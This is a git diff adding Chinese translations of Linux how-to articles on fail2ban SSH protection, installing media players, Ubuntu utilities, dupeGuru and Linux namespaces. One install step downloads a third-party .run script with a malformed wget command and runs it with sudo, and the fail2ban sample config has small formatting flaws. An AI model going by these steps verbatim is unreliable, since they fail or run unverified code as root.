sudo yum install fail2ban + +在ubuntu,Debian 或 Linux Mint上安装fail2ban: + + $ sudo apt-get install fail2ban + +### 为SSH服务器配置Fail2ban + +现在你已经准备好了通过配置 fail2ban 来加强你的SSH服务器。你需要编辑其配置文件 /etc/fail2ban/jail.conf。 在配置文件的“[DEFAULT]”区,你可以在此定义所有受监控的服务的默认参数,另外在特定服务的配置部分,你可以为每个服务(例如SSH,Apache等)设置特定的配置来覆盖默认的参数配置。 + +在针对服务的监狱区(在[DEFAULT]区后面的地方),你需要定义一个[ssh-iptables]区,这里用来定义SSH相关的监狱配置。真正的禁止IP地址的操作是通过iptables完成的。 + +下面是一个包含“ssh-iptables”监狱配置的/etc/fail2ban/jail.conf的文件样例。当然根据你的需要,你也可以指定其他的应用监狱。 + + $ sudo vi /etc/fail2ban/jail.local + +``` +[DEFAULT] +# 以空格分隔的列表,可以是 IP 地址、CIDR 前缀或者 DNS 主机名 +# 用于指定哪些地址可以忽略 fail2ban 防御 +ignoreip = 127.0.0.1 172.31.0.0/24 10.10.0.0/24 192.168.0.0/24 + +# 客户端主机被禁止的时长(秒) +bantime = 86400 + +# 客户端主机被禁止前允许失败的次数 +maxretry = 5 + +# 查找失败次数的时长(秒) +findtime = 600 + +mta = sendmail + +[ssh-iptables] +enabled = true +filter = sshd +action = iptables[name=SSH, port=ssh, protocol=tcp] +sendmail-whois[name=SSH, dest=your@email.com, sender=fail2ban@email.com] +# Debian 系的发行版 +logpath = /var/log/auth.log +# Red Hat 系的发行版 +logpath = /var/log/secure +# ssh 服务的最大尝试次数 +maxretry = 3 +``` + +根据上述配置,fail2ban会自动禁止在最近10分钟内有超过3次访问尝试失败的任意IP地址。一旦被禁,这个IP地址将会在24小时内一直被禁止访问 SSH 服务。这个事件也会通过sendemail发送邮件通知。 + +一旦配置文件准备就绪,按照以下方式重启fail2ban服务。 + +在 Debian, Ubuntu 或 CentOS/RHEL 6: + + $ sudo service fail2ban restart + +在 Fedora 或 CentOS/RHEL 7: + + $ sudo systemctl restart fail2ban + +为了验证fail2ban成功运行,使用参数'ping'来运行fail2ban-client 命令。 如果fail2ban服务正常运行,你可以看到“pong(嘭)”作为响应。 + + $ sudo fail2ban-client ping + Server replied: pong + +### 测试 fail2ban 保护SSH免遭暴力破解攻击 + +为了测试fail2ban是否能正常工作,尝试通过使用错误的密码来用SSH连接到服务器模拟一个暴力破解攻击。与此同时,监控 /var/log/fail2ban.log,该文件记录在fail2ban中发生的任何敏感事件。 + + $ sudo tail -f /var/log/fail2ban.log + +![](https://farm8.staticflickr.com/7550/15882084127_fccf9ca7b7_c.jpg) + +根据上述的日志文件,Fail2ban通过检测IP地址的多次失败登录尝试,禁止了一个IP地址192.168.1.8。 + +###检查fail2ban状态并解禁被锁住的IP地址 + +由于fail2ban的“ssh-iptables”监狱使用iptables来阻塞问题IP地址,你可以通过以下方式来检测当前iptables来验证禁止规则。 + + $ sudo iptables --list -n + +``` +Chain INPUT (policy ACCEPT) +target prot opt source destination +fail2ban-SSH tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 + +Chain FORWARD (policy ACCEPT) +target prot opt source destination + +Chain OUTPUT (policy ACCEPT) +target prot opt source destination + +Chain fail2ban-SSH (1 references) +target prot opt source destination +DROP all -- 192.168.1.8 0.0.0.0/0 +RETURN all -- 0.0.0.0/0 0.0.0.0/0 +``` + +如果你想要从fail2ban中解锁某个IP地址,你可以使用iptables命令: + + $ sudo iptables -D fail2ban-SSH -s 192.168.1.8 -j DROP + +当然你可以使用上述的iptables命令手动地检验和管理fail2ban的IP阻塞列表,但实际上有一个适当的方法就是使用fail2ban-client命令行工具。这个命令不仅允许你对"ssh-iptables"监狱进行管理,同时也是一个标准的命令行接口,可以管理其他类型的fail2ban监狱。 + +为了检验fail2ban状态(会显示出当前活动的监狱列表): + + $ sudo fail2ban-client status + +为了检验一个特定监狱的状态(例如ssh-iptables): + + $ sudo fail2ban-client status ssh-iptables + +上面的命令会显示出被禁止IP地址列表。 + +![](https://farm8.staticflickr.com/7497/16067847655_021d23e320_b.jpg) + +为了解锁特定的IP地址: + + $ sudo fail2ban-client set ssh-iptables unbanip 192.168.1.8 + +![](https://farm8.staticflickr.com/7465/16065915571_b215a8b344_b.jpg) + +注意,如果你停止了Fail2ban 服务,那么所有的IP地址都会被解锁。当你重启 Fail2ban,它会从/etc/log/secure(或 /var/log/auth.log)中找到异常的IP地址列表,如果这些异常地址的发生时间仍然在禁止时间内,那么Fail2ban会重新将这些IP地址禁止。 + +### 设置 Fail2ban 自动启动 + +一旦你成功地测试了fail2ban之后,最后一个步骤就是在你的服务器上让其在开机时自动启动。在基于Debian的发行版中,fail2ban已经默认让自动启动生效。在基于Red-Hat的发行版中,按照下面的方式让自动启动生效。 + +在 CentOS/RHEL 6中: + + $ sudo chkconfig fail2ban on + +在 Fedora 或 CentOS/RHEL 7: + + $ sudo systemctl enable fail2ban + +### 总结 + +在该教程中,我演示了如何安装并配置fail2ban来保护一个SSH服务器。当然fail2ban可以缓解暴力密码攻击,但是请注意,这并不能保护SSH服务器避免来自复杂的分布式暴力破解组织,这些攻击者通过使用成千上万个机器控制的IP地址来绕过fail2ban的防御机制。 + +----------- + +via: http://xmodulo.com/how-to-protect-ssh-server-from-brute-force-attacks-using-fail2ban.html + +作者:[Dan Nanni][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/how-to-force-ssh-login-via-public-key-authentication.html +[2]:http://xmodulo.com/two-factor-authentication-ssh-login-linux.html +[3]:http://www.fail2ban.org/ +[4]:http://linux.cn/article-2324-1.html diff --git a/published/201503/20141106 Flow' N Play Movie Player Has a Stylish Interface Ubuntu Installation.md b/published/201503/20141106 Flow' N Play Movie Player Has a Stylish Interface Ubuntu Installation.md new file mode 100644 index 0000000000..0decb425e1 --- /dev/null +++ b/published/201503/20141106 Flow' N Play Movie Player Has a Stylish Interface Ubuntu Installation.md @@ -0,0 +1,55 @@ +在Ubuntu上安装Flow 'N Play—界面独具风格的视频播放器 +================================================================================ +**Flow ‘N Play**是个用Qt编写的新视频播放器。它有着漂亮又简洁的界面,只提供基本播放功能。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/flow_n_play.jpg) + +[Flow ‘N Play][1]是个比较新的视频播放器,它有着漂亮的界面和简单的操作(2014年3月份第一次发行)。其中一个功能就是能通过拖动鼠标滑动视频列表。播放器带有基本功能,一个搜索功能,支持彩色主题。 + +打开一个新的视频——你还可以在同一个对话框下自定义一个封面: + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/flow_n_play_open.jpg) + +设置对话框——在这里设置基本的选项: + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/flow_n_play_settings.jpg) + +Flow ‘N Play仍然处在早起开发中,因此相对于更高级的播放器它有一些瑕疵。可以设置的选项少,不支持加载字幕或视频和声音的过滤器。目前,在打开一个新的视频时偶尔会出错或是表现异常。 + +我相信在它变成一款相当不错的播放器来替代其他播放器之前,还需要再添加几个功能。但从长远来看,Flow ‘N Play很有前途。 + +### 在Ubuntu 14.04上安装Flow ‘N Play 0.922 ### + +在Ubuntu上有几种不同的方法安装Flow ‘N Play,可以用DEB包,或用Bash命令编写的RUN安装文件,或在[Qt-Apps页面][2]上获得单独的二进制安装文件。 + +要安装Flow ‘N Play得先获取依赖项: + + sudo apt-get install libqt5multimediaquick-p5 qtdeclarative5-controls-plugin qtdeclarative5 qtmultimedia-plugin qtdeclarative5-qtquick2-plugin qtdeclarative5-quicklayouts-plugin + +然后下载DEB安装包,可以双击或在终端里把正操作的目录换到你保存安装包的目录下并输入以下命令(这个是64位的命令,对于32位的系统请将DEB文件换成32位的): + + sudo dpkg -i flow-n-play_v0.926_qt-5.3.2_x64.deb + +然后在终端里输入**flow-n-play**来运行它。注意:为防止产生依赖项错误,当你试图安装DEB文件时,你可以运行**sudo apt-get -f install**,这样可以自动获取丢失的依赖项并安装Flow ‘N Play。 + +若用RUN脚本安装,先安装上边提到的依赖项,然后运行这个脚本: + + wget -O http://www.prest1ge-c0ding.24.eu/programs/Flow-N-Play/v0.926/bin/flow-n-play_v0.926_qt-5.3.2_x64.run + sudo ./flow-n-play_v0.926_qt-5.3.2_x64.run + +第三种方法是手动安装到你选择的地方(在安装完依赖项后下载提供的二进制文件)以32位版本为例: + + wget -O http://www.prest1ge-c0ding.24.eu/programs/Flow-N-Play/v0.926/bin/Flow-N-Play_v0.926_Qt-5.3.2_x86 + +-------------------------------------------------------------------------------- + +via: http://www.tuxarena.com/2014/11/flow-n-play-movie-player-has-a-stylish-interface-ubuntu-installation/ + +作者:Craciun Dan +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.prest1ge-c0ding.24.eu/programme-php/app-flow_n_play.php?lang=en +[2]:http://qt-apps.org/content/show.php/Flow+%27N+Play?content=167736 diff --git a/published/201503/20141106 Tomahawk Music Player Returns With New Look, Features.md b/published/201503/20141106 Tomahawk Music Player Returns With New Look, Features.md new file mode 100644 index 0000000000..6a8b7496cb --- /dev/null +++ b/published/201503/20141106 Tomahawk Music Player Returns With New Look, Features.md @@ -0,0 +1,62 @@ +新面孔、新功能的 Tomahawk 音乐播放器 +================================================================================ +**在悄无声息得过了一年之后,Tomahawk——音乐播放器中的瑞士军刀——带着值得歌颂的全新发行版回归了。 ** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/tomahawk-tile-1.jpg) + +这个0.8版的开源跨平台应用增添了**更多在线服务的支持**,更新了它的外观,又一次确保了它创新的社交功能完美运行。 + +### Tomahawk——两个世界的极品 ### + +Tomahawk 将一个传统的应用结构与我们的“即时”现代文化相结合。它可以浏览和播放本地的音乐和Spotify、Grooveshark以及SoundCloud这类的线上音乐。在最新的发行版中,它把Google Play Music和Beats Music列入了它的名册。 + +这可能听着很繁复或令人困惑,但实际上它表现得出奇的好。 + +若你想要播放一首歌,而且不介意它是从哪里来的,你只需告诉Tomahawk这个音乐的标题和作者,它就会自动从可获取的源里找出高品质版本的音乐——你不需要做任何事。 + +![](http://i.imgur.com/nk5oixy.jpg) + +这个应用还弄了一些附加的功能,比如EchoNest剖析,Last.fm建议,还有对Jabber的支持,这样你就能“播放”朋友的音乐。它还有一个内置的信息服务,以便于你能和其他人快速的分享播放列表和音乐。 + +>“这种从根本上就与众不同的听音乐的方式,开启了前所未有的音乐的消费和分享体验”,该项目的网站上这样写道。而且即便它如此独特,这也没有错。 + +![Tomahawk supports the Sound Menu](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/tomahawk-controllers.jpg) + +*支持声音菜单* + +### Tomahawk0.8发行版的亮点 ### + +- 新的交互界面 +- 对Beats Music的支持 +- 对Google Play Music的支持(保存的和播放全部链接) +- 支持拖拽iTunes,Spotify这类网站的链接 +- 正在播放的提示 +- Android应用(测试版) +- 收件箱的改进 + +### 在Ubuntu上安装Tomahawk0.8 ### + +作为一个流媒体音乐的粉丝,我会在接下来的几天里体验一下这个应用软件,然后提供一个关于他的改变的更全面的赏析。与此同时,你也可以尝尝鲜。 + +在Ubuntu 14.04 LTS和Ubuntu 14.10上可以通过官方PPA获得Tomahawk。 + + sudo add-apt-repository ppa:tomahawk/ppa + + sudo apt-get update && sudo apt-get install tomahawk + +在官方项目网站上可以找的独立安装程序和更详细的信息。 + +- [访问 Tomahawk 官网][1] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/tomahawk-media-player-returns-new-look-features + +作者:[Joey-Elijah Sneddon][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://gettomahawk.com/ diff --git a/published/201503/20141127 11 Useful Utilities To Supercharge Your Ubuntu Experience.md b/published/201503/20141127 11 Useful Utilities To Supercharge Your Ubuntu Experience.md new file mode 100644 index 0000000000..d18644094c --- /dev/null +++ b/published/201503/20141127 11 Useful Utilities To Supercharge Your Ubuntu Experience.md @@ -0,0 +1,158 @@ +让你玩转 Ubuntu 桌面的十一件武器 +================================================================================ +**无论你是一个相对的新手还是经验丰富的专家,我们都想从我们的操作系统中得到更多的东西。正如大多数现代的操作系统,相比于乍一看呈现出的内容,Ubuntu 还有更多东西可以向我们提供。** + +从调整和优化 Unity 桌面的外观、行为、性能到执行系统维护,这里有大量的实用工具和应用可以帮助你**调整 Ubuntu ,随时满足你的需求**。 + +注意: Ubuntu 总是配备了‘合理的默认设置’(即工作良好的选项),以达到开箱即用,这些默认设置适合大多数人,并且它们都是经过了测试、采用及推荐等过程的。 + +但一个尺码并不适合所有人。对于我们当中的能工巧匠和实验主义者来说,默认设置只是他们定制系统的起点。 + +所以,无需更多的唠叨, 这里有 11 个极好的实用工具可以帮助你增强 Ubuntu 使用体验。 + +### Unity Tweak Tool ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/unity-tweak-tool.jpg) + +我将以这个列表中最重要的一个工具: **Unity Tweak Tool** 来开始这次的介绍。融汇了各种定制选项,Unity Tweak Tool 提供了一系列针对 Ubuntu 和 Unity 桌面的系统综合调整功能。 + +它被各种开关、切换和控制器塞得满满的,使得你可以任意设置从 Unity 桌面的外观到 Unity 的行为之类的任何东西。你可以使用它**快速简便地改变 GTK 主题和图标集**、设置热区、调整启动器图标尺寸、增加或移除工作区,以及 ---特别地---开启 Unity 桌面中被巧妙隐藏的“通过点击最小化”的功能。 + +它是免费的,可直接从 Ubuntu 软件中心里找到, Unity Tweak Tool 是非常值得保留在你的口袋里的工具之一。 + +### Unity 隐私指示器 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/indicator-privacy-in-ubuntu.jpg) + +隐私是一个非常、非常重要的事,事实也恰恰如此,但这个话题要比二进制还难以说明白。让一些数据或习惯,比如说你经常打开的应用,在本地被记录下来,这或许会让你感到高兴,但对于你在 Dash 中的搜索数据被发送到第三方服务机构(尽管这些数据或许是匿名的)这类事情,你就高兴不起来了。 + +[隐私指示器][1] 是一个帮助你时刻跟踪 Ubuntu桌面系统中有哪些文件、目录和服务正被获取、记录及搜索的实用工具。 + +通过快速的点击被添加到桌面面板上的‘眼睛’图标,你可以: + +- 开启或关闭在线搜索结果,使用 Zeitgeist 记录系统活动,存储 HUD 使用记录和启用 Ubuntu GeoIP 服务 +- 快速清理 Zeitgeist 日志、 ALT-F2 历史、最近访问文件等等的记录数据 +- 展示或隐藏桌面图标及面板上显示的用户名 + +上述的最后一条的功能似乎不应该出现在这个应用程序中,但对于那些要分享截图或截屏的人来说,这将会泄露更少的隐私。 + +- [从这里下载隐私指示器 (.deb)][2] + +### Unity 橱窗 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/unity-folders.jpg) + +**Android, iOS, OS X, Chrome OS, 和 GNOME Shell 都有应用橱窗, 借助一个极好的第三方应用,Unity 也可以实现类似功能。** + +“Unity 橱窗” 允许你将 Unity 启动器中的应用分组到实用的橱窗中,--- 如游戏,办公,社交等。不必打开 Dash,你就可以快速启动你喜爱的应用,这非常适合你的工作流。 + +每一个 ‘橱窗’其实上是一个打开在图标附近的应用窗口,但总体效果看上去就像是一个 OS X 风格的“堆栈”或 Android 的分组框。 + +橱窗的图标可以自定义或根据橱窗内的应用来自动生成。已有的橱窗可以修改和重新组织、重命名以及如下的更多选择: + +- 根据你的喜好创建任意多的橱窗 +- 选择自定义或自动生成橱窗图标 +- 可选择 3 种橱窗样式 +- 为添加到橱窗中的应用设定自定义图标 +- 编辑现有橱窗 + +[Unity 橱窗的网址](http://unity-folders.exceptionfound.com/) + +### 咖啡因(Caffeine) ### + +对于我们中的许多人来说,咖啡因是必需品,而不仅仅是饮料。而这里的“咖啡因”则提供了一个快速,温和的方式来避免屏保/锁屏占据屏幕。它的有用程度将取决于你的环境(即你系统的怪癖),并且尽管它不像以前那样好用,它仍然值得你[尝试一下][3]。 + +[下载咖啡因(Caffeine) ](https://launchpad.net/~caffeine-developers/+archive/ppa/+files/caffeine_2.7_all.deb) + +### 系统监控指示器 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/multiload-indicator-in-ubuntu.jpg) + +假如你是一个状态迷,即一个喜欢密切关注程序,进程和硬件的状态的人, Linux 很容易满足你的需求。从 Conky 的配置到终端命令,并不缺少监视你的 CPU 使用情况、网络流量或 GPU 温度的方法。 + +但至今为止,我最喜爱的应用是**系统监控指示器**(也被叫做多负载指示器),它可从 Ubuntu 软件中心获得。它也有着大量的配置选项。 + +- [点击这个链接,在 Ubuntu 中下载 ‘系统监控指示器’][4] + +### 针对 Linux 笔记本电脑的省电工具 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2012/08/front.jpg) + +#### TLP #### + +当提到便携式设备上的电池使用效率时,Linux 发行版的声誉并不算好。 + +如果你的 Linux 笔记本在重新充电前,电池只够让你从沙发走到厨房的话,那么这里有几个你可以试试的工具。 + +TLP 是最受欢迎的确保延长 Linux 笔记本的电池寿命的自动化后台工具之一,它是通过调整系统进程和硬件的设置及行为来达成省电的,例如 启动 Wi-Fi 省电模式, PCI 总线设备的实时电量管理和处理器的降频调整。 + +在 Ubuntu 14.04 LTS 以及后续发行版本中可以[使用 TLP 专用的 PPA 来安装它][11],通过它的‘一下搞定’的设置就能用起来。在我们之中的高级用户可以潜心研究并根据你自己的硬件来调整设置,一个[关于 TLP 的完整指导 wiki][6] 使得设置更加容易。 + +#### Laptop Mode Tools #### + +假如 TLP 听起来有一点复杂,这也并没有什么可羞耻的,这里有一个更简单的替代品: **Laptop Mode Tools**。 这个软件包可从 Ubuntu 软件中心直接安装,且本身设置好了一系列合理的默认设置(Wi-Fi,蓝牙等等)。 + +切记,Laptop Mode Tools 不能和 TLP 同时被安装在电脑中。 + +- [Ubuntu 软件中心里的 Laptop Mode Tools ][7] + +### Intel 显卡驱动安装工具 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/intelgraphicsdriverinstaller.png) + +对于那些运行 Intel 显卡硬件,并想使得这些硬件发挥出最佳性能的人来说,Intel 显卡安装工具是必须拥有的。 它使得查找并安装最新的 Intel GPU 驱动变得不再是一件痛苦和大费周折的事,因为这无需 PPA 或任何的终端使用知识。 + +- [下载针对 Linux平台的 Intel 显卡驱动安装器 0.7 版本][8] + +### 硬件信息 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/02/Screen-Shot-2014-02-10-at-21.05.37.png) + +假如你计划升级你的 PC 或想替换一个坏掉的零部件,你需要知道一些特定的硬件信息,例如 RAM 类型,CPU插座类型 或查看哪个 PCI 槽是可用的等信息。 + +**I-Nex**可以使得找出这些以及其他的系统具体配置变得更加容易。使用它来查找你的主板型号、S.M.A.R.T.(注:为 Self-Monitoring, Analysis and Reporting Technology 的缩写,经常写为 SMART ) 状态,以及你想的出的很多东西! + +- [可从 Launchpad 了解到更多关于 I-Nex 的信息][9] + +### 磁盘空间可视化程序 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/disk-usage-visualizer-for-ubuntu.jpg) + +在这个硬盘以 TB 计数的时代,我们或许不必同以前一样对硬盘空间的使用三思而后行。但对于那些使用小容量的 SSD,分成多个分区或在一个拥有固定大小的虚拟磁盘的虚拟机上工作的人来说,总有“应该释放一些额外空间是必要的”这种想法的时候。 + +GNOME Disks,在 Ubuntu 中被默认安装,使得查找占用最大磁盘空间的罪魁祸首变得容易。对于定位隐藏的日志、缓存和视频文件,它是非常完美的工具。 + +### BleachBit (Cruft Cleaner) ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/bleachbit.jpg) + +Windows 用户可能对像 CCleaner 之类的应用很熟悉,它可以扫描并清理垃圾文件、空白文件夹、臃肿的缓存以及陈旧的软件包。在 Ubuntu 上,一个相似的快速且毫不费力的一键式清理方法可以试试 **BleachBit** 。 + +它是一个强大的工具,所以一定要注意你正在清理什么。不要漫无目的地确认每个选项框;不是所有的东西它都可以清理。所以请合理地使用它,当你对某个选项有疑问时,就跳过它。 + +- [从 Ubuntu 软件中心里安装 BleachBit][10] + +你已经有了自己最喜欢的系统实用工具了吗?可以在下面的评论中让其他人知晓它。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/useful-tools-for-ubuntu-do-you-use-them + +作者:[Joey-Elijah Sneddon][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.florian-diesch.de/software/indicator-privacy/index.html +[2]:http://www.florian-diesch.de/software/indicator-privacy/dist/indicator-privacy_0.04-1_all.deb +[3]:http://www.omgubuntu.co.uk/2014/05/stop-ubuntu-sleeping-caffeine +[4]:apt://indicator-mulitload +[5]:https://launchpad.net/~linrunner/+archive/ubuntu/tlp/+packages +[6]:http://linrunner.de/en/tlp/docs/tlp-configuration.html +[7]:https://apps.ubuntu.com/cat/applications/laptop-mode-tools/ +[8]:https://01.org/linuxgraphics/downloads/2014/intelr-graphics-installer-linux-1.0.7 +[9]:https://launchpad.net/i-nex +[10]:https://apps.ubuntu.com/cat/applications/bleachbit/ +[11]:https://launchpad.net/~linrunner/+archive/ubuntu/tlp/+packages diff --git a/published/201503/20141127 dupeGuru--Find And Remove Duplicate Files Instantly From Hard Drive.md b/published/201503/20141127 dupeGuru--Find And Remove Duplicate Files Instantly From Hard Drive.md new file mode 100644 index 0000000000..1910310f2d --- /dev/null +++ b/published/201503/20141127 dupeGuru--Find And Remove Duplicate Files Instantly From Hard Drive.md @@ -0,0 +1,105 @@ +dupeGuru - 直接从硬盘中查找并移除重复文件 +================================================================================ + +### 简介 ### + +对我们来说,磁盘被装满是棘手问题之一。无论我们如何小心谨慎,我们总可能将相同的文件复制到多个不同的地方,或者在不知情的情况下,重复下载了同一个文件。因此,迟早你会看到“磁盘已满”的错误提示,若此时我们确实需要一些磁盘空间来存储重要数据,以上情形无疑是最糟糕的。假如你确信自己的系统中有重复文件,那么 **dupeGuru** 可能会帮助到你。 + +dupeGuru 团队也开发了名为 **dupeGuru 音乐版** 的应用来移除重复的音乐文件,和名为 **dupeGuru 图片版** 的应用来移除重复的图片文件。 + +### 1. dupeGuru (标准版) ### + +需要告诉那些不熟悉 [dupeGuru][1] 的人,它是一个免费、开源、跨平台的应用,其用途是在系统中查找和移除重复文件。它可以在 Linux, Windows, 和 Mac OS X 等平台下使用。通过使用一个快速的模糊匹配算法,它可以在几分钟内找到重复文件。同时,你还可以调整 dupeGuru 使它去精确查找特定文件类型的重复文件,以及从你想删除的文件中,清除某种文件。它支持英语、 法语、 德语、 中文 (简体)、 捷克语、 意大利语、亚美尼亚语、俄语、乌克兰语、巴西语和越南语。 + +#### 在 Ubuntu 14.10/14.04/13.10/13.04/12.04 中安装 dupeGuru #### + +dupeGuru 开发者已经构建了一个 Ubuntu PPA (Personal Package Archives)来简化安装过程。想要安装 dupeGuru,依次在终端中键入以下命令: + +``` +sudo apt-add-repository ppa:hsoft/ppa +sudo apt-get update +sudo apt-get install dupeguru-se +``` + +### 使用 ### + +使用非常简单,可从 Unity 面板或菜单中启动 dupeGuru。 + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/11/dupeGuru_007.png) + +点击位于底部的 `+` 按钮来添加你想扫描的文件目录。点击 `扫描` 按钮开始查找重复文件。 + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/11/dupeGuru_008.png) + +一旦所选目录中含有重复文件,那么它将在窗口中展示重复文件。正如你所看到的,在下面的截图中,我的下载目录中有一个重复文件。 + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/11/dupeGuru-Results_009.png) + +现在,你可以决定下一步如何操作。你可以删除这个重复的文件,或者对它进行重命名,抑或是 复制/移动 到另一个位置。为此,选定该重复文件,或在菜单栏中选定写有“**仅显示重复**”选项 ,如果你选择了“**仅显示重复**”选项,则只有重复文件在窗口中可见,这样你便可以轻松选择并删除这些文件。点击“操作”下拉菜单,最后选择你将执行的操作。在这里,我只想删除重复文件,所以我选择了“移动标记文件到垃圾箱”这个选项。 + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/11/Menu_010.png) + +接着,点击“继续”选项来移除重复文件。 + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/11/Deletion-Options_011.png) + +### 2. dupeGuru 音乐版 ### + +[dupeGuru 音乐版][2] 或简称 dupeGuru ME,它的功能与 dupeGuru 类似。它拥有 dupeGuru 的所有功能,但它包含更多的信息列 (如比特率,持续时间,标签等)和更多的扫描类型(如带有字段的文件名,标签以及音频内容)。和 dupeGuru 一样,dupeGuru ME 也运行在 Linux、Windows 和 Mac OS X 中。 + +它支持众多的格式,诸如 MP3、WMA、AAC (iTunes 格式)、OGG、FLAC,以及失真率较少的 AAC 和 WMA 格式等。 + +#### 在 Ubuntu 14.10/14.04/13.10/13.04/12.04 中安装 dupeGuru ME #### + +现在,我们不必再添加任何 PPA,因为在前面的步骤中,我们已经进行了添加。所以在终端中键入以下命令来安装它: + +``` +sudo apt-get install dupeguru-me +``` + +### 使用 ### + +你可以从 Unity 面板或菜单中启动它。dupeGuru ME 的使用方法、操作界面以及外观和正常的 dupeGuru 类似。添加你想扫描的目录并选择你想执行的操作。重复的音乐文件就会被删除。 + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/11/dupeGuru-Music-Edition-Results_012.png) + +### 3. dupeGuru 图片版 ### + +[dupeGuru 图片版][3],或简称为 duepGuru PE,是一个在你的电脑中查找重复图片的工具。它和 dupeGuru 类似,但独具匹配重复图片的功能。dupeGuru PE 可运行在 Linux、Windows 和 Mac OS X 中。 + +dupeGuru PE 支持 JPG、PNG、TIFF、GIF 和 BMP 等图片格式。所有的这些格式可以被同时比较。Mac OS X 版的 dupeGuru PE 还支持 PSD 和 RAW (CR2 和 NEF) 格式。 + +#### 在 Ubuntu 14.10/14.04/13.10/13.04/12.04 中安装 dupeGuru PE #### + +由于我们已经添加了 PPA,我们也不必为 dupeGuru PE 再次添加。只需运行如下命令来安装它。 + +``` +sudo apt-get install dupeguru-pe +``` + +#### 使用 #### + +就使用方法,操作界面和外观而言,它与 dupeGuru,dupeGuru ME 类似。我就纳闷为什么开发者为不同的类别开发了不同的版本。我想如果开发一个结合以上三个版本功能的应用,或许会更好。 + +启动它,添加你想扫描的目录,并选择你想执行的操作。就这样,你的重复文件将被清除。 + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/11/dupeGuru-Picture-Edition-Results_014.png) + +如果因为任何的安全问题而不能移除某些重复文件,请记下这些文件的位置,通过终端或文件管理器来手动删除它们。 + +欢呼吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/dupeguru-find-remove-duplicate-files-instantly-hard-drive/ + +作者:[SK][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:http://www.hardcoded.net/dupeguru/ +[2]:http://www.hardcoded.net/dupeguru_me/ +[3]:http://www.hardcoded.net/dupeguru_pe/ diff --git a/published/201503/20141204 Linux Namespaces.md b/published/201503/20141204 Linux Namespaces.md new file mode 100644 index 0000000000..c40854d780 --- /dev/null +++ b/published/201503/20141204 Linux Namespaces.md @@ -0,0 +1,247 @@ +介绍 Linux 的命名空间 +================================================================================ +### 背景 ### + +从Linux 2.6.24版的内核开始,Linux 就支持6种不同类型的命名空间。它们的出现,使用户创建的进程能够与系统分离得更加彻底,从而不需要使用更多的底层虚拟化技术。 + +- **CLONE_NEWIPC**: 进程间通信(IPC)的命名空间,可以将 SystemV 的 IPC 和 POSIX 的消息队列独立出来。 +- **CLONE_NEWPID**: PID 命名空间。空间内的PID 是独立分配的,意思就是命名空间内的虚拟 PID 可能会与命名空间外的 PID 相冲突,于是命名空间内的 PID 映射到命名空间外时会使用另外一个 PID。比如说,命名空间内第一个 PID 为1,而在命名空间外就是该 PID 已被 init 进程所使用。 +- **CLONE_NEWNET**: 网络命名空间,用于隔离网络资源(/proc/net、IP 地址、网卡、路由等)。后台进程可以运行在不同命名空间内的相同端口上,用户还可以虚拟出一块网卡。 +- **CLONE_NEWNS**: 挂载命名空间,进程运行时可以将挂载点与系统分离,使用这个功能时,我们可以达到 chroot 的功能,而在安全性方面比 chroot 更高。 +- **CLONE_NEWUTS**: UTS 命名空间,主要目的是独立出主机名和网络信息服务(NIS)。 +- **CLONE_NEWUSER**: 用户命名空间,同进程 ID 一样,用户 ID 和组 ID 在命名空间内外是不一样的,并且在不同命名空间内可以存在相同的 ID。 + +下面我们介绍一下进程命名空间和网络命名空间。 + +### 进程命名空间 + +本文用 C 语言介绍上述概念,因为演示进程命名空间的时候需要用到 C 语言。下面的测试过程在 Debian 6 和 Debian 7 上执行。首先,在栈内分配一页内存空间,并将指针指向内存页的末尾。这里我们使用 **alloca()** 函数来分配内存,不要用 malloc() 函数,它会把内存分配在堆上。 + + void *mem = alloca(sysconf(_SC_PAGESIZE)) + sysconf(_SC_PAGESIZE); 